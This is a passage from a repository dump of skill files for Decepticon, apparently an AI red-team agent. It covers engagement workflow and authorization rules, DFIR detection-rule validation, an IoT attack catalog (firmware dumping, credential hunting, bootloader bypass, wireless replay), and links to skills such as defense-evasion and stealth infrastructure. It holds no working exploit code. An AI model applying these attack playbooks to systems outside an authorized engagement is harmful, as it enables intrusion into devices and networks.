collector and monitor health before\n interpreting missing events. Cite exact incident IDs and event sequences.\n\n## Engagement workflow\n\n- Obtain the user's explicit target scope and rules of engagement before any\n active testing. State both included and excluded assets. Do not infer\n authorization from a URL or repository path.\n- For an existing CLI engagement, call `decepticon_list_engagements`, identify\n its `thread_id`, then read `decepticon_engagement_state` and\n `decepticon_transcript`. Keep the returned `next_index` for later reads.\n- `decepticon_start_engagement` binds the run to a workspace via\n `workspace_path` (default `/workspace`). To share the workspace binding the\n interactive CLI selected, pass the same binding explicitly — the binding is\n returned in the result's `workspace_path` field. A non-default binding must\n be the engagement's own directory (final segment = `engagement_name`, e.g.\n `/workspace/`); anything else is rejected so one\n engagement's run cannot write into another engagement's workspace. The run\n still requires the workspace mapping on the server to exist and be\n authorized for that engagement; when in doubt, start the engagement in the\n interactive CLI and observe its thread through MCP.\n- Engagement `targets` are network assets (URLs, hosts, CIDRs, globs, git\n remotes). A local repository path is not a valid target — the standalone\n SAST/CI entry was removed (issue #1059); code analysis happens inside an\n engagement once the operation itself obtains the source, with the code\n mounted or fetched as part of that engagement's workflow.\n- `decepticon_send_message` queues a new turn behind an active run. Do not tell\n the user it changed the current execution until a subsequent transcript or\n state confirms the effect.\n- `decepticon_engagement_findings` reads a persisted `graph.json` only. An\n `available=false` result does not prove the absence of findings. For an\n installed CLI engagement, inspect the selected host workspace's\n `findings/FIND-*.md` and `report/` artifacts when available. Cite the\n actual artifact and verification status; do not invent a SARIF result.\n- If a run is interrupted or fails, read the latest transcript and status\n before retrying. Stop polling when the user has the requested update or\n the run reaches a terminal state.\n\nRead [reference.md](reference.md) for exact MCP arguments and\n[examples.md](examples.md) for CLI and MCP handoffs.\n","packages/decepticon/decepticon/skills/standard/dfir/SKILL.md":"---\nname: dfir-overview\ndescription: >\n Use to close the Offensive Vaccine loop on the defender side. The Detector\n agent produces Sigma / YARA rules from offensive operations; this catalog\n validates those rules against real memory dumps, event logs, and forensic\n artifacts using Volatility 3, plaso, and sigma-cli. Without this catalog,\n detection rules are theoretical.\nmetadata:\n skillogy:\n version: 1\n subdomain: dfir\n when_to_use: \"dfir validation sigma yara volatility plaso memory dump event log forensic artifact detection rule blue team\"\n tags: dfir, memory, volatility, plaso, sigma, validation, blue-team\n upstream_ref: \"Sigma rules + YARA + Volatility 3 + plaso — detection-rule validation harness for the Offensive Vaccine loop\"\n---\n\n# Forensicator / DFIR Skill Catalog\n\nDecepticon emits attacks AND detection rules. This catalog feeds the\ndetection rules back through real forensic artifacts to confirm they fire\n— closing the Offensive Vaccine loop on the operations side.\n\n## Playbooks\n\n> **Inline technique reference — not separately loadable skills.** The entries below\n> are summarized here for direct use; there is no separate `SKILL.md` to open for\n> each. Do NOT call the skill loader on them — apply the technique with your tools\n> using this summary and the validation guidance in this file.\n\n\n| Technique | Use for |\n|---|---|\n| **volatility-windows** | Volatility 3 Windows plugins: pslist, malfind, cmdline, netscan, dlllist, handles |\n| **volatility-linux** | Volatility 3 Linux: linux.pslist, linux.bash, linux.malfind |\n| **plaso-timeline** | psort + log2timeline; super-timeline construction; Sigma matchers on the timeline |\n| **sigma-cli-validation** | sigma-cli convert + match against captured event logs |\n| **yara-scan** | yara-x scan against memory dumps and disk images |\n| **event-log-mining** | Windows Event Log (.evtx) extraction + key event ID reference |\n| **etw-trace** | ETW provider triage; .etl file extraction |\n| **edr-validation** | Replay an attack against a target with Velociraptor / OSQuery active; capture artifacts |\n\n## Detection validation\n\n- Collect the event log from the relevant host at attack time, along with\n the detection rule and expected event pattern (for example, event 4662\n with the relevant `ControlAccessRights`).\n- Run `sigma-cli convert --target sqlite` and match against the log file.\n A zero match count requires checking the rule and artifact coverage;\n matches provide evidence that the rule detects the captured activity.\n- Record the match count and supporting forensic artifacts in the\n engagement knowledge graph.\n- For patch-regression validation, verify whether the rule still fires\n on attempted exploitation of the patched build.\n\n## Tools sandbox\n\n- Volatility 3 (`vol`, `volshell`) — already in operator's AGENTS.md tooling.\n- plaso (`log2timeline`, `psort`).\n- sigma-cli (`sigma convert`, `sigma check`).\n- yara-x (`yr`) — operator already has it installed at `C:\\Tools\\yara-x\\yr.exe`.\n- Velociraptor + OSQuery (for live-system validation paths).\n\n## Why this is differentiating\n\nStrix doesn't have this. XBOW doesn't have this. The \"Offensive Vaccine\"\npromise (every attack becomes a defense improvement) is only deliverable\nwhen someone validates the detection. Without Forensicator, the loop\nstops at \"rule written\". With it, the loop completes at \"rule verified to\nfire on this attack class against this client's stack\".\n","packages/decepticon/decepticon/skills/standard/iot/SKILL.md":"---\nname: iot-overview\ndescription: >\n Use when the engagement target is IoT, embedded Linux, RTOS, or any device\n reachable via UART/JTAG/SWD or by extracting its firmware. Covers firmware\n acquisition, binwalk extraction, filesystem mounting, default-credential\n hunting, bootloader attacks, wireless protocol sidebands (BLE, Zigbee,\n Z-Wave, LoRaWAN, sub-GHz).\nmetadata:\n subdomain: iot\n when_to_use: \"iot embedded linux rtos uart jtag swd firmware binwalk filesystem bootloader ble zigbee z-wave lorawan sub-ghz wireless\"\n tags: iot, firmware, embedded, binwalk, uart, jtag, ble, zigbee\n mitre_attack: T1542, T1542.005, T1601, T1499.004\n---\n\n# IoT / Embedded Operator Skill Catalog\n\nThis catalog covers the surface area between hardware reconnaissance and\nruntime exploitation of IoT and embedded targets. Wireless sidebands\n(BLE / Zigbee / Z-Wave / LoRaWAN / sub-GHz) live alongside firmware-level\nattacks because IoT engagements routinely chain across both.\n\n## Playbooks\n\n| Skill | Use for |\n|---|---|\n| `/skills/standard/iot/firmware-acquisition/SKILL.md` | Vendor portals, OTA capture, SPI flash dump, eMMC chip-off |\n| `/skills/standard/iot/binwalk-extract/SKILL.md` | binwalk + firmware-mod-kit extraction; squashfs / jffs2 mount |\n| `/skills/standard/iot/hardcoded-creds/SKILL.md` | Strings, shadow, busybox httpd, telnet logs |\n| `/skills/standard/iot/bootloader-uboot/SKILL.md` | U-Boot console interrupt; environment variables; secure-boot bypass |\n| `/skills/standard/iot/dev-mem/SKILL.md` | /dev/mem, /dev/kmem, MTD writes on embedded Linux |\n| `/skills/standard/iot/ble-gatt/SKILL.md` | GATT enumeration, characteristic read/write without auth, pairing downgrade |\n| `/skills/standard/iot/zigbee-touchlink/SKILL.md` | Touchlink commissioning abuse, well-known transport key, ZCL command abuse |\n| `/skills/standard/iot/z-wave/SKILL.md` | S0 derivation flaw, S2 ECDH analysis, replay on unauthenticated nodes |\n| `/skills/standard/iot/lorawan-otaa/SKILL.md` | OTAA join, frame-counter replay, downlink injection |\n| `/skills/standard/iot/sub-ghz/SKILL.md` | 433/868/915 MHz capture + replay (HackRF, Flipper Zero, RTL-SDR) |\n\n## Workflow\n\n1. **Inventory hardware**: photograph PCB; identify SoC, flash, debug pads\n (UART = 4-pin pattern; JTAG = TAP; SWD = 2-pin SWDIO/SWCLK).\n2. **Acquire firmware**: vendor update portal first; OTA proxy capture\n second; SPI flash dump third; eMMC chip-off last.\n3. **Extract**: `binwalk -eM `, then mount squashfs / jffs2 / ubifs.\n4. **Triage**: search strings for credentials, AWS keys, MQTT topics, hardcoded\n IPs; identify backdoor accounts (busybox /etc/passwd, telnet/SSH stanzas).\n5. **Wireless co-channels**: if the device speaks BLE / Zigbee / Z-Wave /\n LoRaWAN, capture commissioning, replay, attempt key extraction.\n6. **Cloud-IoT**: if the device backhauls to a vendor cloud, pivot to the\n mobile companion app and the cloud API.\n\n## Hardware bench tools (sandbox tools)\n\n- Logic analyzer: Saleae Pro 8 / Sigrok PulseView.\n- Flash interface: ch341a + SOIC clip.\n- Debug interface: BusPirate v5, J-Link, Black Magic Probe.\n- Glitching: ChipWhisperer-Nano / Pico.\n- Wireless: HackRF One, Sonoff Zigbee 3.0 Dongle E, RTL-SDR Blog v4.\n\n## Safety\n\nIoT engagements often touch consumer devices that the operator owns but\nthat have shared cloud accounts (vendor telemetry). RoE must enumerate\nwhich clouds may be probed. ConOps `blue_team` field should declare the\nvendor IR contact when in scope so a fail-safe trip can be reported.\n","packages/decepticon/decepticon/skills/standard/cloud/SKILL.md":"# cloud\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/SKILL.md)","packages/decepticon/decepticon/skills/standard/analyst/SKILL.md":"# analyst\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/SKILL.md)","packages/decepticon/decepticon/skills/standard/ad/SKILL.md":"# ad\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/SKILL.md)","packages/decepticon/decepticon/skills/shared/stealth-infra/SKILL.md":"# stealth-infra\n\nPath: `packages/decepticon/decepticon/skills/shared/stealth-infra/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/stealth-infra/SKILL.md)","packages/decepticon/decepticon/skills/shared/references/SKILL.md":"# references\n\nPath: `packages/decepticon/decepticon/skills/shared/references/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/references/SKILL.md)","packages/decepticon/decepticon/skills/shared/opsec/SKILL.md":"# opsec\n\nPath: `packages/decepticon/decepticon/skills/shared/opsec/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/opsec/SKILL.md)","packages/decepticon/decepticon/skills/shared/finding-protocol/SKILL.md":"# finding-protocol\n\nPath: `packages/decepticon/decepticon/skills/shared/finding-protocol/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/finding-protocol/SKILL.md)","packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md":"# defense-evasion\n\nPath: `packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md)","packages/decepticon/decepticon/skills/shared/adversary-emulation/SKILL.md":"# adversary-emulation\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/SKILL.md)","packages/decepticon/decepticon/skills/plugins/vulnresearch/SKILL.md":"# vulnresearch\n\nPath: `packages/decepticon/decepticon/skills/plugins/vulnresearch/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/vulnresearch/SKILL.md)","packages/decepticon/decepticon/skills/plugins/verifier/SKILL.md":"# verifier\n\nPath: `packages/decepticon/decepticon/skills/plugins/verifier/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/verifier/SKILL.md)","packages/decepticon/decepticon/skills/plugins/scanner/SKILL.md":"# scanner\n\nPath: `packages/decepticon/decepticon/skills/plugins/scanner/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/scanner/SKILL.md)","packages/decepticon/decepticon/skills/plugins/patcher/SKILL.md":"# patcher\n\nPath: `packages/decepticon/decepticon/skills/plugins/patcher/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/patcher/SKILL.md)","packages/decepticon/decepticon/skills/plugins/llm-redteam/SKILL.md":"# llm-redteam\n\nPath: `packages/decepticon/decepticon/skills/plugins/llm-redteam/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/llm-redteam/SKILL.md)","packages/decepticon/decepticon/skills/plugins/exploiter/SKILL.md":"# exploiter\n\nPath: `packages/decepticon/decepticon/skills/plugins/exploiter/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/exploiter/SKILL.md)","packages/decepticon/decepticon/skills/plugins/detector/SKILL.md":"# detector\n\nPath: `packages/decepticon/decepticon/skills/plugins/detector/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/plugins/detector/SKILL.md)","packages/decepticon/tests/unit/skill_audit/fixtures/reporting_skill.md":"# Fixtures Skill\n\nPath: `packages/decepticon/tests/unit/skill_audit/fixtures/reporting_skill.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/tests/unit/skill_audit/fixtures/reporting_skill.md)","packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.md":"# krack-fragattacks\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/krack-fragattacks/SKILL.md)","packages/decepticon/decepticon/skills/standard/wireless/evil-twin-karma/SKILL.md":"# evil-twin-karma\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/evil-twin-karma/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/evil-twin-karma/SKILL.md)","packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md":"# deauth-pmf\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/deauth-pmf/SKILL.md)","packages/decepticon/decepticon/skills/standard/wireless/wpa-enterprise-eap/SKILL.md":"# wpa-enterprise-eap\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/wpa-enterprise-eap/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wpa-enterprise-eap/SKILL.md)","packages/decepticon/decepticon/skills/standard/wireless/wpa2-psk/SKILL.md":"# wpa2-psk\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/wpa2-psk/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wpa2-psk/SKILL.md)","packages/decepticon/decepticon/skills/standard/wireless/wpa3-sae/SKILL.md":"# wpa3-sae\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/wpa3-sae/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wpa3-sae/SKILL.md)","packages/decepticon/decepticon/skills/standard/wireless/wps-pixie-dust/SKILL.md":"# wps-pixie-dust\n\nPath: `packages/decepticon/decepticon/skills/standard/wireless/wps-pixie-dust/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/wireless/wps-pixie-dust/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/SKILL.md":"# threat-profile\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/threat-profile/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/structured-questions/SKILL.md":"# structured-questions\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/structured-questions/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/structured-questions/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/roe-template/SKILL.md":"# roe-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/roe-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/roe-template/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/SKILL.md":"# opplan-converter\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/opplan-converter/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/data-handling-template/SKILL.md":"# data-handling-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/data-handling-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/data-handling-template/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/contact-template/SKILL.md":"# contact-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/contact-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/contact-template/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/conops-template/SKILL.md":"# conops-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/conops-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/conops-template/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/cleanup-template/SKILL.md":"# cleanup-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/cleanup-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/cleanup-template/SKILL.md)","packages/decepticon/decepticon/skills/standard/soundwave/abort-template/SKILL.md":"# abort-template\n\nPath: `packages/decepticon/decepticon/skills/standard/soundwave/abort-template/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/soundwave/abort-template/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md":"# rop-chain\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/rop-chain/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/rootkit-analysis/SKILL.md":"# rootkit-analysis\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/rootkit-analysis/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/rootkit-analysis/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/ransomware-analysis/SKILL.md":"# ransomware-analysis\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/ransomware-analysis/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ransomware-analysis/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/packer-unpacking/SKILL.md":"# packer-unpacking\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/packer-unpacking/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/packer-unpacking/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/malware-triage/SKILL.md":"# malware-triage\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/malware-triage/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/malware-triage/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/ios-static/SKILL.md":"# ios-static\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/ios-static/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ios-static/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/ghidra/SKILL.md":"# ghidra\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/ghidra/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ghidra/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/fuzzing/SKILL.md":"# fuzzing\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/fuzzing/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/fuzzing/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/firmware/SKILL.md":"# firmware\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/firmware/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/firmware/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/fileless-malware/SKILL.md":"# fileless-malware\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/fileless-malware/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/fileless-malware/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/dotnet-malware/SKILL.md":"# dotnet-malware\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/dotnet-malware/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/dotnet-malware/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/deep-analysis/SKILL.md":"# deep-analysis\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/deep-analysis/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/deep-analysis/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/ctf-triage/SKILL.md":"# ctf-triage\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/ctf-triage/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/ctf-triage/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/anti-debug-bypass/SKILL.md":"# anti-debug-bypass\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/anti-debug-bypass/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/anti-debug-bypass/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/android-malware/SKILL.md":"# android-malware\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/android-malware/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/android-malware/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/triage/SKILL.md":"# triage\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/triage/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/triage/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/virtualized-protectors/SKILL.md":"# virtualized-protectors\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/virtualized-protectors/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/virtualized-protectors/SKILL.md)","packages/decepticon/decepticon/skills/standard/reverser/yara-hunting/SKILL.md":"# yara-hunting\n\nPath: `packages/decepticon/decepticon/skills/standard/reverser/yara-hunting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/reverser/yara-hunting/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/wireless-security/SKILL.md":"# wireless-security\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/wireless-security/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/wireless-security/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/web-recon/SKILL.md":"# web-recon\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/web-recon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/web-recon/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/reporting/SKILL.md":"# reporting\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/reporting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/reporting/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/passive-recon/SKILL.md":"# passive-recon\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/passive-recon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/passive-recon/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/osint/SKILL.md":"# osint\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/osint/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/osint/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/open-web/SKILL.md":"# open-web\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/open-web/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/open-web/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/mobile-security/SKILL.md":"# mobile-security\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/mobile-security/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/mobile-security/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/iot-security/SKILL.md":"# iot-security\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/iot-security/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/iot-security/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/cloud-recon/SKILL.md":"# cloud-recon\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/cloud-recon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/cloud-recon/SKILL.md)","packages/decepticon/decepticon/skills/standard/recon/active-recon/SKILL.md":"# active-recon\n\nPath: `packages/decepticon/decepticon/skills/standard/recon/active-recon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/recon/active-recon/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/reporting/SKILL.md":"# reporting\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/reporting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/reporting/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md":"# privilege-escalation\n\nPath: `packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/post-exploit/privilege-escalation/SKILL.md)","packages/decepticon/decepticon/skills/standard/post-exploit/network-replay/SKILL.md":"# network-replay\n\nPath: 